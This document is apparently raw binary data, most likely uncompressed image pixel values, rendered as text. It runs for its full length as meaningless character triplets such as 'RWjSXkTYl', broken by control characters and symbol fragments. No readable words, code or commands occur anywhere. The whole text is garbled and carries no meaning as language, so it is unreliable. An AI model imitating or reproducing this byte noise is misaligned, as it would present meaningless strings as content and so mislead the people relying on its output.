#(,07,/9"$-$,/6>BLLQ^RXfNTcDIW59C%(0!%)+5:>KGK[NSePVfQWgRXfRXfRXfQViPUhHL]:=I&)2!$(+4),5!#+"$+59DEJWLRaCHV6:G'*3##%(15:EDITNTaOUcDJW58D"$,#&/2=>APNRdQViQViQViQViPUhPUhQViPUhRWjSXkQViQViSXkRWjSXkRWjRWjRWjSXkSXkTYlTYlSXkRWjRWjSXkSXkTYlSXkSXkSXkSXkSXkTYlUZmUZmSXkRWjRWjRWjRWjQViQViQViQViRWjRWjQViQViPUhPUhOTgOTgOTgLSeKRdKRdKRdKRdLSeKRdKRdLSeMTfNUgNUgOVhOVhOVhNUgPUhQViQViQViRWjQViQViQViRWjRWjRWjRWjSXkSXkTYlUZmSZlT[mU\nV]oW^pX_qX_qX_qW^pW^pX_qY`rY`rZatZatZat[br]dt^eu]dt]er`huaiv`hu_gt^fs]er_gt`huaiv_gt^fs]er^fs_gt_gt35A02>7;F<@K;BL;BL9@J9BK:AK9@J9@J9@J<@K<@K;?J:>I:GP=CO?EQ?EQ>DP?EQAGSAGS@FR@FR@FRAGSAGSAGSAGSAGSAGS?GR@HS@HS@HS@HS@HS@HSAITCIUDJVEKWEKWEKWDJVDJVDJVFLXEKWEKWEKWFLXFLXEKWDJVELVFLXFLZFL\FL\FLZFLZGMYFMWFMWEKWFLXGMYGM[GM[FLZHN\IO]IO]HNZGMYGMYFLXEKWEKWFLXGMYHNZHNZGOZFNYFNYGM[GMYGMYGMYGMYGMYGMYGMYFLZGMYGMYGMYGMYGM[HM`HM`IO_GM];@L%(0 + "&+7>EJR]JR]LTaKS`KS`KS`KRbKRa5:E"%* +!,0:GN\ELZ,0904>EJXPVfOVhOVfOWdMU`AGO)-2 + + %(-;?GDIZ-0: #%-9=JMScMTfJQ`?FP-3;# !$+6CNJP^9>J$'.  +03>JO`RWjRWjRWjQViQViPUhPUhPUhRWjSXkQViRWjTYlSXkSXkSXkRWjRWjSXkTYlUZmUZmSXkSXkSXkSXkSXkSXkSXkSXkRWjRWjSXkTYlUZmUZmTYlRWjSXkSXkRWjQViQViRWjRWjRWjRWjQViQViPUhPUhPUhOTgOTgLSeLSeLSeLSeLSeLSeLSeLSeMTfMTfNUgNUgNUgOVhOVhOVhQViQViQViRWjRWjQViQViQViSXkSXkSXkRWjRWjSXkTYlUZmSZlT[mU\nV]oW^pX_qY`rY`rU\nV]oW^pY`rY`sZatY`sY`sY`r\cu^eu]dt]er_gt`hs`hs`hu_gt^fs^fs_gt`hu`hu_gt]er_gt`hu`hu35A13?9;G<@K:AK:AK8AJ:CL;BL:AK9@J9@J:AK<@K;?J;?J8:F79E79E79E8:F9;G9;G8:F8:F:I:>I:>I;?J=AL:AK8?I8?I;BLGP>DP?EQ?EQ>DP@FRBHTBHTAGSAGSAGSAGSAGSAGSAGSAGSAGS@HS@HS@HSAITAITAITAITBJUDJVEKWFLXEKWEKWDJVEKWEKWFLXEKWEKWEKWFLXGMYFLXFLXFMWFLXGM[GM]FL\FL\GM[GMYGNXFMWFLXFLXGMYHN\GM[GM[IO]JP^IO[GMYFLXGMYGMYFLXFLXFLXGMYHNZGOZGOZFNYFNYGM[GM[GMYGMYGMYGMYGNXGNXGMYGMYGMYHNZHNZIO_INaINbJP^HN\47B-28IQZKT]KRbKRbKRbLScLTaIP]'+1PPP$?DR?FS%zz{lll#%,>BNPVfQYfPXeOWbNVa7>Fjjj.39;?L$kkk+.7LRbPWiBHV,17JJJ᜜ "6;G@FT*-4xxx  zzz + %;@I?DM),3iiiaaa*-6?CQOUdRXhTZhU[iTZjPVf>CN#),4)+2dddhhh),4;@M,08OOO !)EJZQViRWjRWjQViQViPUhPUhPUhRWjTYlRWjSXkUZmTYlTYlSXkRWjRWjSXkTYlUZmUZmRWjSXkTYlTYlSXkRWjSXkTYlRWjRWjRWjSXkTYlTYlSXkRWjTYlSXkRWjRWjRWjRWjRWjSXkRWjQViPUhPUhPUhPUhOTgNSfMTfMTfLSeMTfMTfMTfMTfMTfMTfMTfNUgNUgOVhOVhOVhOVhPUhPUhQViRWjRWjRWjRWjRWjTYlTYlTYlSXkRWjSXkTYlV[nT[mT[mT[mU\nV]oW^pX_qY`rU\lV]oX_qY`rZatZatZ`vZ`vY`r[bt\cu\cs]er_gt`hs_gr`hu`hu_gt_gt_gt_gt`hu_gt^fs`huaiv_gt35A13?9;G<@K9@J9BK8AJ;DM;BL:AK9@J9@J:AK<@K<@K;?J79E79E79E8:F9;G:I:>I:>I<@K=AL;BL9@J8?I;BLGP>DP?EQ@FR?EQ@FRBHTCIUAGSAGSAGSAGSBHTAGSAGSAGSAGSAITAITAITAITBJUBJUCKVCKVEKWFLXFLXEKWDJVDJVEKWFLXEKWEKWDJVEKWGMYHNZGMYGMYFLXFLXGM[GM]FL\FL\GM[GM[GNXFMWFLXGMYHNZHN\HN\GM[IO[JP\IO[FLXFLXGMYHNZGNXGMYGMYGMYGMYFNYFNYGOZGOZHN\HN\HNZHNZHNZHOYHOYHOYHNZGMYGNXHNZIO[JP`JObJOcJP^HN\03>(,1JR[KT]JQcKRdLSeMTdMUbGNY"% fff8=H=BPsstyyy!%;?HOUcRZeQYdOWbMU`39Aiii)+146Bmmm !$*JP^GN]16?yyy + + #)HLW8:@lll666 + + rst///26>-18///222,/:GM\RXhU[iV\jTZjRXh@EQ!CCCKKKbbb $'333*.7#&,OOO"CGVRWjSXkRWjRWjQViPUhPUhOTgRWjTYlRWjSXkUZmUZmTYlSXkRWjRWjSXkUZmUZmUZmRWjTYlUZmUZmSXkRWjRWjTYlRWjQViQViQViRWjRWjRWjQViTYlSXkRWjRWjRWjSXkSXkSXkRWjQViPUhPUhPUhPUhOTgNSfNUgMTfMTfMTfNUgNUgMTfMTfMTfMTfNUgOVhOVhOVhOVhOVhOTgOTgPUhQViRWjSXkSXkSXkUZmUZmTYlSXkSXkSXkUZmV[nT[mT[mT[mT[mU\nV]oW^pW^pV]mW^pY`rZas[bu[aw[awZ`vY`sZas[bt[br]er`hu_gr]ep`hu`hu_gt_gt_gt_gt_gt`hu`huaivaiv^fs35A24@7;F=AL;BL9@J9BK:CL>BM;BL9BK8AJ9BK9BK9@J:>I;=I:I:I9@J9BK9?K:@LDP>DP>DP>DP>DP=CO=CO>DP@FRAGSAGS@FRAGS@FR@FRAGSBHTCIUCIUCIUBHTCIUDJVDJVDJVCIUCIUCIUDJVFLXDJVCIUGMYFLXCIUEKWDJVEKWFLXFLXFLXGMYGMYGMYFLZFLZGM[GM[GM]GM]GM]FL\FNYFNYFNYFNYFNYFNYHP[IQ\IQ\EMXCKVEMXHP[HP[FNYFNYFNYGOZHP[IQ\IQ\IQ\HP[GOZJR]IQ\IO[GMYGMYGMYFNYGOZIQ\HQZHQZIR[IQ\IQ^HOaGN`KRdHP]-29~~~ #'-HN[JR_KPdMRfNSfMReNTdEJWvvv03@;@Nnnn#7~~~hhh %)/*/8}}} >OU=GO$&+ oooLKS#!& + +   mmmrrr&*0"$I:I9@J;?J:>I;=I:>I;?J9@J9BK:@L:@L;AM=CO>DP?EQ>DP>DP@FR?EQ>DP?EQAGSBHTBHTAGSAGSAGSAGSBHTCIUDJVDJVCIUBHTCIUDJVDJVDJVDJVDJVDJVDJVFLXDJVCIUGMYFLXDJVFLXDJVEKWEKWFLXGMYGMYGMYGMYGMYGMYGM[GM[GM[GM[GM[HN^FNYFNYGOZGOZGOZHP[HP[IQ\KS^GOZEMXFNYHP[HP[GOZFNYGOZGOZHP[IQ\IQ\IQ\HP[HP[IQ\HP[HNZHNZGMYHNZGOZHP[HP[HQZHQZIR[JR]JR_IP`HOaKRbIQ^-29~~~ $(.JQ^MUbLQeMReNSfOUeNTd>CM (+4;@Noop===#6:CLR`PVbPVbQWeOUc15=~~iii %(/$(1677BKS;I9;G9;G8:F8:F8I;?J8?I:>I:>I<>J;?J;?J:AK9BK:@L:@L;AM=CO>DP?EQ>DP=COBHTAGS@FR@FRAGSBHTCIUCIUAGSAGSBHTDJVEKWEKWDJVCIUCIUDJVEKWEKWEKWDJVDJVDJVEKWFLXDJVCIUEKWEKWDJVFLXEKWEKWEKWFLXGMYHNZGMYGMYGMYGMYGMYGMYGMYGMYIO[IO[FNYFNYGOZHP[IQ\IQ\IQ\IQ\LT_IQ\FNYGOZHP[HP[HP[GOZHP[HP[HP[HP[IQ\IQ\IQ\IQ\IQ\HP[HNZHNZHNZIO[IQ\IQ\HP[HP[HQZIR[JR]JR_JQaJQcKRbIQ^.3: $(.JQ^MUbNSfMReMScQWgPVd9=Eccc + !%,:?MoopSSS$7;DNTbOUaPVbQWcOUa15=iii $'. "* VVV=:D81/iiiSST +SSSFFF nno === #'/PWgU\nV]oV]mV]mTZj27Booo  III  OOOAFUPWiSZlT[mT[mRYkQXjSZlSZlT[mSZlSZlT[mU\nW^pT[mT[mT[mT[mT[mU\nU\nV]oU\nT[mSZlT[mU\nV]oT[mSZlSZlT[mT[mT[mSZlRYkRYkRYkRWjRWjRWjRWjRWjRWjRWjRWjPUhPUhPUhPUhPUhQViQViRWjNSfOTgPUhPUhPUhPUhPUhPUhPUhQViPUhSXkSXkPUhSXkRWjT[mT[mSZlSZlSZlT[mT[mT[mSZlU\nV]oV]oU\nU\nU\nV]oW^pW^pW^pV]oV]oV]oV]oW^pW^qX_rX_rY`sY`sY`sZatZatZ`v[bu\cv^ew^eu^fs]er]ep_gt_gt_gt_gt_gt_gt`hu`hu`hu`hu_gt_gt35A35A7;F>BM;BL:AK:CL:CL<@K<@K:AK:CL9BK:AK;?J:>I:I;?J;?J8?I:>I:>I<>J;?J<@K:AK9BK:@L:@L;AM=CO>DP?EQ>DP=COBHTAGSAGSAGSBHTCIUCIUCIUAGSBHTCIUDJVDJVDJVDJVCIUDJVDJVEKWEKWEKWEKWEKWEKWEKWEKWDJVDJVEKWEKWEKWFLXFLXEKWEKWFLXHNZIO[HNZGMYGMYGMYHNZHNZHOYHOYIPZJQ[HP[GOZGOZHP[IQ\JR]JR]JR]KS^IQ\GOZGOZHP[IQ\HP[HP[JR]JR]IQ\HP[HP[IQ\IQ\JR]IQ\IQ\IO[IO[IO[JP\IQ\JR]IQ^IQ\JR]JS\JR]KS`KRbKRbJQaIQ^.3; $(.JQ^MUbOUeNTdOUeQWeOUb15=ttt %8=Joopfff$7BM;BL9@J9BK9BK<@K<@K:AK8AJ8AJ9@J;?J;?J;=I:I:>I:>I8?I:>I:>I;=I;?J<@K;BL:CL:@L:@L;AM=CO>DP?EQ?EQ>DP@FR@FRAGSBHTCIUCIUCIUCIUAGSBHTCIUCIUCIUCIUCIUDJVDJVEKWEKWEKWEKWEKWEKWEKWFLXEKWEKWEKWDJVEKWFLXFLXGMYFLXFLXGMYHNZIO[HNZGMYFLXGMYIO[IO[IPZIPZJQ[KR\IQ\HP[GOZHP[IQ\JR]KS^KS^HP[HP[HP[HP[IQ\IQ\IQ\HP[LT_KS^JR]IQ\IQ\IQ\JR]JR]KS^KS^KQ]JP\JP\JP\IQ\IQ\LTaLTaKS^KT]KS^JR]JR_JQaJR_IQ^/4< $(.KR_OWdOTgPVfQWgPVdMSa-07 5;Foop$8BM;BL8?I8AJ8AJ<>J;?J9@J9@J8?I8?I:>I<>J<>J;=I;=I;=I:>I:>I:>I9=H8?I:>I:>I;=I;?J<@K;BL:CL;AM;AMDP>DP?EQ@FR?EQ@FRAGSBHTCIUCIUCIUCIUBHTCIUCIUDJVCIUCIUDJVDJVDJVEKWEKWEKWEKWEKWEKWFLXFLXEKWFLXGMYEKWFLXGMYFLXGMYGMYGMYGMYHNZIO[HNZHNZFLZHN\JP^JP\JP\JQ[JQ[KR\JR]IQ\HP[HP[IQ\JR]KS^KS^FNYHP[IQ\IQ\IQ\JR]JR]IQ\LT_LT_KS^JR]JR]JR]JR]JR]LT_KS^LR^KQ]KQ]KQ]JR]JR]MTdMUbMU`LT_KT]KS^KS`KS`KS`JR_/4= $(.KR_OWdOTgRWjRWjPVfLRa%).SSS06>opp$7BM;BL8?I8AJ8AJ;=I;?J:AK9@J9@J8?I:>I<>J;=I;=I<>J<>J:>I:>I:>I:>I8?I:>I;?J<>J;?J<@K:AK:CL;AMDP@FRBHT@FRAGSBHTCIUCIUCIUCIUDJVBHTDJVEKWFLXEKWEKWDJVEKWEKWFLXFLXFLXFLXFLXFLXGMYFLXDJVHNZIO[FLXFLXHNZFLXGMYGMYHNZHNZHNZHNZHNZHNZGL_IO_KQaKQ_JP^IO[KR\LS]IQ\IQ\IQ\IQ\IQ\IQ\JR]KS^HP[JR]KS^JR]IQ\JR]KS^JR]KS^KS^KS^KS^KS^KS^KS^KS^KS^KS^LR^LR^LR^LR^KS^KS^MTdMUbMU`LT_KT]KS^LT_MUbMU`KS`/4= $).KS`OWdPUiQVjQVjQViKOa #) hhi+.7opp%7I<>J:J<>J;?J:>I;?J<@K8?I:>I;?J=?K<@K<@K:AK9BK;AM=CO>DP=CO=CO>DP@FRCIUBHTBHTCIUCIUCIUCIUDJVEKWCIUEKWGMYHNZGMYFLXEKWEKWFLXFLXGMYFLXFLXFLXGMYGMYFLXDJVHNZJP\FLXFLXHNZEKWGMYGMYHNZHNZHNZHNZHNZIO[HM`JObKPcJP`IO]IO[KQ]MS_IQ\JR]JR]JR]IQ\IQ\IQ\JR]JR]LT_LT_JR]IQ\JR]KS^KS^JR]KS^KS^LT_LT_LT_KS^KS^KS^KS^LR^LR^LR^MS_LT_MU`LScMTdMUbLT_LU^LT_MU`NVcNVaLTa/4= &*/NVcS[hRWmPUkPUiRWkIM_$ $(/opp%9I?CNI:>I9=H:>I:>I:>I:>I:>I8?I8?I8?I:>I:>I;?J<@K=ALI?CN;AM:@L:BM:BM<@K<@K<@K;?J;?J:>I:>I9=H;?J;?J:>I:>I:>I8?I8?I8?I:>I:>I;?J<@K>BMI>BM;AM:@L:BM:BM:AK:AK9@J9@J8?I8?I8?I7>H;?J;?J;?J:>I8?I8?I8?I8?I:>I:>I;?J<@KFcccKKK +opp%9=HRYiV^iV^iU]jRYi48B  + vvvlll + + +    "L6<nno]^^!OVcW^nT[kW_jW_lW^nW^pV]oAFR555;>KCIS + OOOBGUSZlU\nU\nT[mT[mT[mU\nU\nT[mT[mT[mT[mT[mT[mSZlT[mU\nV]oV]oV]oU\nU\nU\nV]oV]oW^pW^pV]oT[mSZlU\nU\nT[mSZlRYkRYkSZlT[mT[mRYkSZlSZlQXjQXjRYkPWiSXkSXkTYlTYlTYlTYlTYlTYlQViRWjSXkSXkTYlTYlTYlTYlSZlSZlT[mT[mT[mSZlQXjPWiTYlTYlSXkSXkSXkSXkSXkSXkRWjRWjSXkTYmTYoTYoUYrUYrQXkSZmU\oV]pV]pU\nU\nV]oV]oV]oV]oV]oV]oV]oV]oV]oX_qX_qY`pZaqZbo[cn[cn[cnZbo[cp]er^fs_gt^fs]er]er_gtaivckxemz79E79E;?J?CN;AM:@L:BM:BM:AK:AK:AK9@J9@J9@J8?I8?I<@K<@K;?J8?I8?I8?I8?I8?I:>I:>I;?J:AK|||noo %:?IT[kW`iV^iU]jS[h49A   ccc + +  + 4")nno\\\LT`W_lU]jV^iV^kV]mV]oW^pLR`"%* +   &GMXDJT + OOOBGURYkU\nU\nT[mT[mT[mU\nT[mT[mT[mT[mU\nT[mT[mT[mT[mT[mU\nU\nU\nU\nU\nW^pV]oU\nU\nU\nV]oV]oV]oV]oV]oV]oT[mRYkSZlT[mV]oT[mSZlSZlSZlRYkRYkQXjPWiSXkSXkTYlTYlTYlTYlTYlTYlRWjRWjRWjSXkTYlUZmUZmUZmSZlT[mT[mT[mT[mSZlRYkQXjSXkSXkSXkSXkRWjRWjRWjRWjPUiRWkSXlSXnSXnSWpSWpTXqPWjSZmV]pW^qV]oU\nU\nV]oV]oV]oW^pW^pW^pW^pW^pW^pY`rY`rY`pZaqZboZboZbmZbmZbo[cp]er^fs^fs^fs^fs^fs^fs`hubjwckx68D79E<@K@DO=CO;AM:BM9AL:AK:AK:AK:AK:AK:AK9@J9@J=AL<@K9@J9@J8?I8?I8?I8?I:>I:>I9@J;BLDP@FR@FR@FRAGSDJVCIUCIUDJVEKWFLXFLXFLXFLXFLXGMYGMYGMYGMYGMYFLXFLXGMYIO[JP\JP\HNZGMYGMYHNZFNYGOZHP[IQ\IQ\IQ\IQ\HP[IQ\IQ\JR]JR]KS^KS^KS^KS^JR]JR]JR]JR]JR]JR]JR]IQ\LT_KS^KS^KS^KS`LTaMUbMUbMUbMUbMUbMUbNVcNUeOVfOVfMU`NVaOWbOWbOWbOWbOWbOWbQWcQWcRXfQWgPVfOUePVdQWeOUaOUaOUaQWeRXfSYgSYiRXhRXhPVf15>(+2PWiU\nT\iT\iT\iOWc+.4RRRnoo׹󜜜!%;@HU]jW`iV^iU]jS[h4:Bddd  FFF + EEEJAH +nno\\]LT_W_jV^iV^iU]jU\lU\nV]oPWf,/8 &)2MU`DLT + OOOCHVRYkT[mT[mT[mT[mT[mU\nT[mSZlT[mT[mU\nU\nT[mU\nT[mT[mT[mT[mU\nV]oV]oV]oU\nT[mT[mT[mV]oW^pW^pW^pW^pW^pU\nSZlSZlU\nW^pT[mU\nT[mSZlT[mSZlQXjQXjRWjRWjSXkSXkTYlTYlSXkSXkSXkRWjRWjRWjTYlUZmV[nUZmSZlSZlT[mT[mT[mT[mSZlRYkSXkSXkSXkRWjRWjRWjQViQViPUiQVjRWkRWkRWmQVlQVlRWmQXkSZmV]pW^qV]oV]oV]oW^pV]oW^pW^pW^pW^pW^pX_qX_qZasZasY`pY`pYanYanYalZbmX`mYanZboZboZboZbo\dq^fs]er^fs_gt`hu68D79E<@KAEP=CO;AM:BM9AL9BK9BK9BK9BK9BK9BK9BK9BK;BL:AK9@J9@J8?I8?I9@J8AJ9@J9@J9@J;BL=DN=DN=DN;DM>DP>DP@FRBHTAGS@FRAGSDJVCIUDJVEKWEKWFLXFLXFLXFLXGMYGMYGMYHNZHNZGMYGMYGMYHNZIO[KQ]KQ]IO[HNZGMYHNZFNYGOZHP[IQ\IQ\JR]IQ\HP[KS^KS^KS^KS^KS^KS^JR]JR]KS^KS^KS^KS^LT_LT_KS^KS^LU^KS^JR]JR_KS`LScLScMTdMUbMUbMTdNUeNUeOVfOVfOVfMU`NVaOWbOWbOWbOWbOWbOWbNT`PVbPVdPVfOUeNTdOUcPVdPVbPVbPVbQWeRXfSYgSYiRXhSYiPVf26?(+4RYkW^pV^iW_jV^iQYc%)- hhh nnoל搐!%<@IV^kV^iV^kV]mT[k5:Chhh EEE + nnn  + !$  ooo\\]LT^W_jW_jV^iU]jU\lU\nU\nT[j5:DfffQQQ/4;RZeELU + OOOCHVRYkT[mT[mU\nT[mT[mU\nT[mT[mT[mT[mU\nU\nU\nV]oU\nT[mSZlSZlT[mV]oW^pT[mT[mT[mU\nV]oV]oV]oV]oX_qX_qW^pV]oT[mT[mU\nV]oT[mU\nSZlSZlU\nT[mQXjRYkQViRWjRWjSXkSXkSXkSXkRWjSXkRWjRWjRWjTYlUZmUZmUZmSZlSZlT[mT[mT[mT[mSZlSZlSXkSXkSXkSXkSXkRWjRWjRWjQVjRWkRWkRWkRWkQVjQVjQVjRYlSZmU\oV]oV]oV]oV]oW^pV]oV]oW^pW^pW^pX_qX_qX_qZasZasY`rY`pYanYanYalYalYanYanYanYanX`mYan\dq^fs[cp\dq\dq]er68D79E<@KAEP=CO;AM;CN:BM9BK9BK9BK9BK9BK9BK9BK9BK;BL:AK9@J9@J8?I9@J8AJ9BK9@J9@J:AK;BL=DN=DNDP>DPAGSCIUCIUAGSAGSDJVDJVDJVEKWFLXGMYGMYGMYGMYHNZHNZHNZIO[IO[IO[HNZHNZIO[JP\JP\JP\IO[IO[HNZIO[GOZHP[IQ\IQ\IQ\JR]JR]IQ\KS^KS^KS^KS^KS^JR]JR]JR]LT_KS^KS^KS^LT_MU`MU`LT_MV_LU^KS^KS`LTaMTdMTdMTfNUeNUeNUeOVfOVfOVhOVhPWiMU`NVaOWbOWbOWbNVaNVaNVaOUaPVbQWeQWgOUeOUePVdQWeRXdRXdQWcQWeSYgSYgSYiRXhTZjRXh47A)+5RYkV]oV^iW_jW_jNU`"&  nnoׇډ!%<@HV^iX`mW^nV]mT[m5:Ehhh + + + ^^^lll ! +  ono\\]KS]W`iXajW_jW_lV]mV]oV]oU\l>DNnnnNOO5:CT\gGOV + OOOCHVRYkU\nU\nU\nT[mSZlU\nU\nU\nT[mT[mT[mU\nU\nW^pV]oU\nT[mT[mT[mU\nV]oU\nU\nU\nV]oW^pW^pV]oV]oX_qW^pW^pV]oU\nU\nU\nU\nSZlU\nSZlSZlW^pU\nRYkSZlRWjRWjRWjSXkSXkSXkRWjRWjTYlTYlTYlUZmV[nW\oW\oW\oSZlT[mT[mT[mT[mSZlSZlRYkSXkSXkSXkTYlTYlTYlTYlTYlRWjRWjRWjSXkTYlTYlSXkRWjRYlRYlSZlT[mT[mU\nV]oW^pV]oV]oV]oW^pW^pW^pW^pW^pX_qY`rY`rZaqZaqYanX`mX`kYanZboZboYanX`mYan[cp]erZboZboZboZbo79E79E;?J@DO=CO;AM;CN;CN9BK9BK9BK9BK9BK9BK9BK9BK;BL:AK9@J9@J8?I8AJ9BK9BK:AK:AK:AK;BL=DNDPBHTDJVCIUAGSBHTDJVDJVEKWFLXGMYGMYHNZGMYGMYIO[IO[IO[JP\JP\JP\JP\JP\JP\JP\IO[IO[IO[IO[IO[IO[HP[JR]JR]IQ\IQ\KS^KS^JR]KS^KS^KS^KS^KS^KS^KS^JR]LT_KS^JR]JR]KS^LT_LT_LT_MV_LU^LT_LTaMUbNUeNUgMTfOVfOVfOVfOVfPWiPWiPWiPWiOWbPXcQYdQYdQYdPXcPXcPXcRXdSYeTZhSYiQWgQWgQWeSYgTZfSYeRXdRXfSYgSYgSYiSYiTZjRXh48B)+5RYkT[nU]hV^iV^iIPZ! + + + mmndddщ!%;@GU]hY`pX_oW^pU\o5:Fiii + {{{NMNjjjjjj   ֔667   +nnn\\]KT\W`iXajX`kX`mW^nW^pW^pV]mAGRoooOOO9>DU]hJRY! +  NNNDJWT[mV]oV]oV]oT[mRYkU\nU\nU\nU\nT[mT[mT[mU\nW^pV]oU\nU\nU\nU\nU\nU\nW^pV]oV]oV]oV]oV]oV]oV]oX_qW^pW^pV]oV]oV]oU\nT[mSZlU\nSZlSZlW^pV]oRYkT[mRWjSXkSXkSXkSXkSXkRWjRWjQViQViQViRWjRWjSXkTYlTYlT[mT[mT[mT[mT[mSZlRYkRYkSXkSXkTYlUZmUZmV[nV[nV[nRWjRWjSYiTZjU[kV\lU[kTZjRYkRYkRYkRYkSZlT[mU\nV]mV]oV]oV]oV]oV]oV]oV]oV]oV]pW^pY`rZaqZaqZboX`mW_jW_lX`mYanX`mV^kV^kX`mZboZboYanX`mW_l5EOEODP?EQBHTDJVEKWCIUCIUDJVEKWFLXFLXGMYHN\GM[HN^IO_JP`HP[HP[IQ\IQ\IQ\JR]JR]JR]IQ^IQ^IQ\HP[HP[IQ\JS\JS\KS^KS^KS^KS^KS^KS^LT_LT_MTdMTdLScKS`LTaLTaKS^KS^MS_MS_MS_NT`OUaOUaNT`NT`MS_NT`NT`NT`NT`NT`OUaPVbPVbPVbPVbQWcQWcRXdRXdSYeQYfQYfQYfQYfQYfQYfQYfQYfT\iRZgRZeS[fS[fRZgRYiT[mRYlRYkSZjT\iT\gT\gS[hS[hT\gRZe49A*-5U\nY`rZboYanX`mAGOXXXlll---!&<@LX_o[aw[aw[buX_q7;FiiiBBBBBBvvvdddWWW ))) + +  + nnn\\\ KKK\\]NV`YalZbmYanYanYanX`mX`mV^kCISoppOOO9=GW_lQYd%'-DDD aaa !'KR`V]oW^pX_qX_qW^pV]oX_qW^pW^pV]oV]oV]oV]oV]oW^pW^pW^pW^pV]oV]oV]oV]oU\nV]oV]oV]oV]oV]oW^pX_qX_qV]oV]oX_qX_qV]oU\nW^pV]oT[mT[mV]oW^pU\nSZlT[mU\nSZlRYkSZlSZlQXjPWiQXjRWjRWjSXkSXkRWjRWjRWjSXkTYlTYlTYlTYlTYlTYlUZmV[nU\nT[mT[mU\nU\nSZlRYkSZlRZgQYfPXeSZjT[kSZlQXjQXjRYkRYkSZmSZmSZlT[kV^kW_jV^kV^kW_lW_lW_lW_jW_jW_jX`kW_jW_jX`mZboZboYanX`mX`mX`mX`mX`mW_lW_lX`mYanYan[cp]er_gt4;E29C8?I>EODP>DP=CO>DP>DPBHTCIUEKWEKWDJVDJVEKWGMYGMYGMYGMYGM[GM[HN\JP^KQaIQ\IQ\IQ\IQ\JR]JR]KS^KS^JR_JR]IQ\IQ\IQ\JR]JR]JR]KS^KS^KS^LT_LT_LT_MU`MU`MTdMTdMTdMUbMUbMUbLTaLT_OUaNT`NT`NT`OUaPVbOUaNT`MS_NT`OUaOUaOUaPVbPVbPVbPVbPVbQWcRXdRXdRXdRXdRXdS[hRZgQYfQYfQYfRZgRZgS[hS[hRZgS[fT\gT\gT\iT[kU\nRYlSZlT[kU]jU]hU]hT\iT\iV^iT\i4:B*-5V]o[btZaqZaqX^n8>Gaaa555iii!&<@LX_oZatZatZasX_q7DP>DP>DP?EQ?EQCIUDJVFLXFLXEKWEKWFLXGMYHNZHNZHNZGM[HN\HN\IO]JP^JR]IQ\HP[IQ\JR]JR]JR]JR]KS^JR]IQ\IQ\JR]KS`KS`JR_KS^LT_LT_LT_MU`MU`MU`MU`MTdNUeNVcNVcMUbMUbNVcNVcQWcOUaNT`OUaPVbQWcOUaMS_MS_NT`OUaPVbPVbPVbPVbPVbPVdQWeRXfSYgSYgSYgRXfRXfS[hS[hRZgQYfRZgRZgS[hT\iT\iT\iT\gT\gU]hU]jU\lU\nU\oU\nV]mW_lW_jW_jW_lV^kX`kV^k5:C*-6U\nY`rZasZasX^p38@yyySSSfffddd &=ALX_oZasZas[btY`p7CL "'"14BNlllggg^^^!$(@FPYan]dt]dt]dt[cpBN?CODP?EQ?EQ@FR@FRAGSCIUDJVFLXFLXFLXEKWEKWEKWGM[GM[GM[HNZIO[JP\KQ]KR\HP[HP[HP[IQ\IQ\IQ\HP[HP[JS\JR]JR]JR_KS`KRbKRbKRbMU`MU`MU`MU`MU`MU`MU`MU`NVaNVcMUbMUbNVcOVfPWgPWgQWcPVbPVbPVbQWcQWcPVbOUaOUaOUaOUaPVbPVbQWcPVbPVbQWeRXfRXfSYgSYgSYgRXfRXfQYfRZgS[hT\iU]jT\iT\iT\iV^kV^kU]hT\gT\gU]jU\lU\nU\oU\nU\lT\iU]hU]hV^kW_lW_lU]jBN?CODP?EQ@FR@FRAGSBHTDJVEKWFLXFLXFLXEKWFLXFLXFLZFLZGM[IO[JP\KR\JQ[JQ[HP[HP[IQ\IQ\IQ\IQ\JR]JR]IR[JS\JR]KS`KS`KRbLScLSeNVaNVaNVaNVaNVaNVaNVaNVaNVaMU`LTaMUbNVcOVfPWgPWgQWcPVbPVbPVbQWcQWcPVbOUaQWcPVbOUaPVbQWcRXdRXdRXdRXhRXhRXhRXhRXhRXhRXhRXhQYfRZgS[hT\iU]jU]jT\iT\iT\iV^kV^iU]hU]hV^kW^nV]oU\oU\nU\lU]jV^iV^iW_lW_lW_lW_lFLY),6 + (+2CGU\bt]dv]dt\cs[aq?CN%(.  49@MS^\dq^fq]ep\do[cnIPZ+/6 + +  ,.635>% + + 3.5?>EEEL448# $    $ + + -29JP[QXd@FO'+0#36?U]iZbo\dq\cs\cs[br[br[brY`pPVe/3; -08IN\Zbo\dq[cpQWf?ER+.8 +  + +05AGPRZfYanU]iDKR05;% $'.;?KLRbV]nX_qX_qX_qW^pW^pW^pX_qX_qX_qX_qX_qY`rX_qX_qW^pW^pW^pW^pW^pV]oV]oV]oV]oV]oV]oV]oV]oV]oV]oV]oW^pV]oU\nV]oX_qX_qW^pW^pX_qX_qX_qW^pV]oW^pW^pV]oU\nT[mSZlSZlU\nU\nSZlRYkRYkSXkRWjQViQViRWjSXkSXkSXkSXkSXkRWjRWjSXkTYlTYlTYlRYkT[mU\nT[mT[mU\nT[mRYkS[hU]jU]jT[kSZjT[mT[mRYkT\gT\iT[kT[mSZmT[nU\nV]oV]oV]oV]oV]oV]mW^nW^nW^nV]oW^pY`rZas[btZatZatZatZboZboZboYanX`mYanZbo\dq]er_gt`hubjw59D48C;?JBFQ@DP=CO>DP;AM:@L:@L:@L:@L;AM;AM;AM;AM>BN?CODP@FR@FRAGSAGSBHTEKWEKWEKWEKWEKWEKWFLXGMYGM[GM[HN\IO[KQ]KR\IPZHOYHP[IQ\IQ\IQ\HP[IQ\KS^MU`HQZIR[KS^KS`KS`KRbLSeMTfOWbOWbOWbOWbNVaNVaNVaNVaMU`LT_LT_MUbOVfPWgPWgOVhPVbPVbPVbQWcQWcPVbPVbPVbRXdQWcPVbPVbRXdTZfTZfTZfSYiSYiRXhRXhRXhRXhRXhRXhQYfRZgS[hT\iU]jU]jU]jT\iS[hU]jV^iV^iV^iX`mX_oV]oW^qW^pW^nX`mX`kX`kX`mX`mYanYanQWf=BO*-6#!'*/=@JNTd\cu]dv^eu^eu]dtMS_:>I%'-!$%(.*-5#%,# (*-.16+-4!%" #(!#'"!&"&!$(16DPBN>BNDL<@I=AL>CNBHSIO[SZeY`m]er]er]ep^fq^fqYamSZeIOYCHS>CM>DM>CLAFOEJVIO]KP`HM\CHV?DP>BM>BK?DMDJRJPXMS^LQ^FKUAGO>BK>CKAFODJSGMWHOXDIRBHPAFODJTFLUHNWDIRAGP>BK=BK>DNELVMS^U\hZbn_gt]er]er^fs^fs[coU\hMT^EJTAFR?DP>BN@DPAFRCHSDJTAGP?DM@DR>BR?DOJNS,,,+%'5-1"#   ,%*!-!(  